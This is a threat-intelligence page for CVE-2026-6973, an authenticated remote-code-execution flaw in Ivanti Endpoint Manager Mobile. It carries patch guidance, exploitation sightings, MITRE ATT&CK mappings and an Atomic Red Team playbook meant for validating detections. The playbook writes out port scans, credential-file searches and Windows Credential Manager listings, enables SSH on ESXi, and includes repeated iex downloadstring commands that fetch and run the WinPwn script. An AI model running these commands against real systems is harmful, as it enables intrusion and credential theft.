CVE-2026-6973

HIGH CISA KEV TTE Zero-Day Pub 07/05 Upd 11/06

Overview

This vulnerability is an improper input validation flaw within Ivanti Endpoint Manager Mobile's administrative interface. The root cause lies in insufficient sanitization of inputs processed by privileged functions, enabling crafted input to bypass validation controls. The affected component is the administrative access functionality in versions prior to 12.6.1.1, 12.7.0.1, and 12.8.0.1.

Vulnerability Description

An Improper Input Validation in Ivanti EPMM before versions 12.6.1.1, 12.7.0.1, and 12.8.0.1 allows a remotely authenticated user with administrative access to achieve remote code execution.

Impact

An attacker with valid administrative credentials can execute arbitrary code remotely on the affected Ivanti Endpoint Manager Mobile server. This enables full system compromise, including unauthorized control over managed devices and sensitive data. The prerequisite is possession of an administrative-level account on the system. Such access facilitates lateral movement within the network and potential disruption of endpoint management operations, severely impacting organizational security posture.

Solution

Ivanti has released security updates addressing this vulnerability in Ivanti Endpoint Manager Mobile versions 12.6.1.1, 12.7.0.1, and 12.8.0.1 as detailed in their May 2026 Security Advisory. Administrators should apply these specific patches promptly. For detailed patching instructions and additional mitigation guidance, refer to the official Ivanti advisory at https://hub.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs?language=en_US.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in Ivanti Endpoint Manager Mobile (EPMM) arises from improper input validation, which can be exploited by a remotely authenticated user with administrative privileges. This flaw allows the attacker to execute arbitrary code on the affected system, potentially leading to severe consequences. The improper handling of input can allow malicious commands to be processed, bypassing the intended security controls. This vulnerability highlights the critical importance of robust input validation mechanisms in software development, as they serve as the first line of defense against various forms of attacks, including code injection.

Exploitation of this vulnerability can occur through several attack vectors. An attacker with administrative access could craft specially formatted requests or payloads that exploit the input validation flaw. This could involve sending malicious data through the administrative interface or API, which the system fails to properly sanitize. Once the code execution is achieved, the attacker could gain full control over the system, allowing them to manipulate sensitive data, deploy malware, or pivot to other systems within the network. The potential for lateral movement within an organization’s infrastructure makes this vulnerability particularly concerning, as it could lead to a broader compromise of the network.

The real-world impact of this vulnerability can be significant for organizations using Ivanti EPMM. Given that the product is often deployed in environments managing mobile devices and sensitive data, the consequences of a successful exploit could include data breaches, loss of intellectual property, and damage to the organization’s reputation. Furthermore, regulatory implications may arise if sensitive customer data is exposed, leading to potential fines and legal ramifications. The business risk is compounded by the fact that administrative access is typically granted to trusted personnel, making it essential for organizations to maintain strict access controls and monitoring to mitigate the risk of insider threats.

To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching the Ivanti EPMM to the latest versions is crucial, as this will address the known flaws. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses in their systems. Employing intrusion detection systems (IDS) can help monitor for unusual activities that may indicate exploitation attempts. Furthermore, implementing strict access controls and ensuring that administrative privileges are granted only to necessary personnel can reduce the risk of exploitation by limiting the attack surface.

In conclusion, the improper input validation vulnerability in Ivanti Endpoint Manager Mobile poses a significant threat to organizations that rely on this software for managing mobile devices. The potential for remote code execution by an authenticated user with administrative access underscores the need for stringent security practices, including regular updates, access controls, and continuous monitoring. By adopting a proactive approach to vulnerability management, organizations can better protect their assets and mitigate the risks associated with such vulnerabilities.




CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-6973, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition elevates the vulnerability’s profile within the security community and signals increased scrutiny from both defenders and potential adversaries. Although no new exploit techniques or ransomware associations have emerged, the sharp rise in telemetry detections indicates growing interest or reconnaissance efforts targeting Ivanti Endpoint Manager Mobile environments. The updated CVSS score of 7.2 and a rising EPSS score reflect a heightened likelihood of exploitation attempts in the near term. Consequently, the threat level has shifted from theoretical to actively monitored, underscoring the need for vigilance in environments where administrative access to affected versions is possible.

Affected Products (3)

Vendor Product Version CPE
ivanti Ivanti Endpoint Manager Mobile All cpe:2.3:a:ivanti:endpoint_manager_mobile:*:*:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager Mobile 12.7.0.0 cpe:2.3:a:ivanti:endpoint_manager_mobile:12.7.0.0:*:*:*:*:*:*:*
ivanti Ivanti Endpoint Manager Mobile 12.8.0.0 cpe:2.3:a:ivanti:endpoint_manager_mobile:12.8.0.0:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

16 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-10
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-22
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-20
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-16
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-11
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-05-10
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-05-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-05-08
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-05-07
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-05-07
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2026-05-07
Detected as Exploited in the Wild

Active exploitation confirmed — vendor: Ivanti, product: Endpoint Manager Mobile (EPMM)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Remote Code Execution
85% rce
OS Command Injection
75% command_injection
Code Injection
75% code_injection
Improper Input Validation
65% input_validation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-31 Accessing/Intercepting/Modifying HTTP Cookies
70%
High High
CAPEC-101 Server Side Include (SSI) Injection
43%
High High
CAPEC-135 Format String Injection
43%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
40%
Medium High
CAPEC-9 Buffer Overflow in Local Command-Line Utilities
40%
High High

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (5)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2026-6973
hub.ivanti.com
GitHub CVE
https://hub.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs?language=en_US
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-6973
hub.ivanti.com
GitHub CVE
https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-CVE-2026-6973-CVE-2026-10727?language=en_US
hub.ivanti.com
GitHub CVE
https://hub.ivanti.com/s/article/May-2026-Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM-Multiple-CVEs